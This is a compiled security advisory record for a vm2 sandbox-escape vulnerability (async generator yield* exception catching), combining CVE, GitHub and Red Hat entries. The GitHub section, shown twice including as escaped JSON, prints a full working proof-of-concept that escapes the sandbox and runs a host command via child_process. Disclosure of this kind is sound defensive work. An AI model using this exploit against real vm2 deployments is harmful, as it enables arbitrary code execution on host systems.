CVE-2026-45411 (GCVE-0-2026-45411)

Vulnerability from cvelistv5 – Published: 2026-05-13 17:38 – Updated: 2026-09-07 12:05

Title

vm2: Sandbox Breakout Using Async Generator

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3."

GHSA-248R-7H7Q-CR24

Vulnerability from github – Published: 2026-05-14 21:14 – Updated: 2026-05-14 21:14

Summary

vm2 Has a Sandbox Breakout Using Async Generator

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
    if (d > 0) so(d-1);
    const e = new E();
    e.stack;
    throw e;
}
async function* helper() {
    yield* {
        [Symbol.asyncIterator]: ()=>({
            next: v=>({value: v, done: false})
        })
    };
}
async function doCatch(f) {
    const i=helper();
    await i.next();
    const v = await i.return({then(r){f();r();}});
    return v.value;
}
(async function f() {
    let min = 0;
    let max = 10000000;
    while (min<max) {
        const mid = (min+max)>>1;
        const e = await doCatch(()=>so(mid));
        if (e.name==="RangeError" && !(e instanceof RangeError)) {
            e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
            return;
        }
        if (e instanceof E) {
            min = mid+1;
        } else {
            max = mid;
        }
    }
})();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity

9.8 (Critical)

  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=\u003e({\n\t\t\tnext: v=\u003e({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tconst e = await doCatch(()=\u003eso(mid));\n\t\tif (e.name===\"RangeError\" \u0026\u0026 !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",

Summary

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

Severity

Important

Scope

25 vulnerabilities in this advisory, including CVE-2026-45411.

CVE-2026-45411

A flaw was found in vm2 (before 3.11.3). Host exceptions can be caught from sandbox code using yield* inside an async generator; closing the generator with return() awaits the value and passes host exceptions back into the sandbox iterator, enabling escape and arbitrary host command execution. Fixed in 3.11.3.
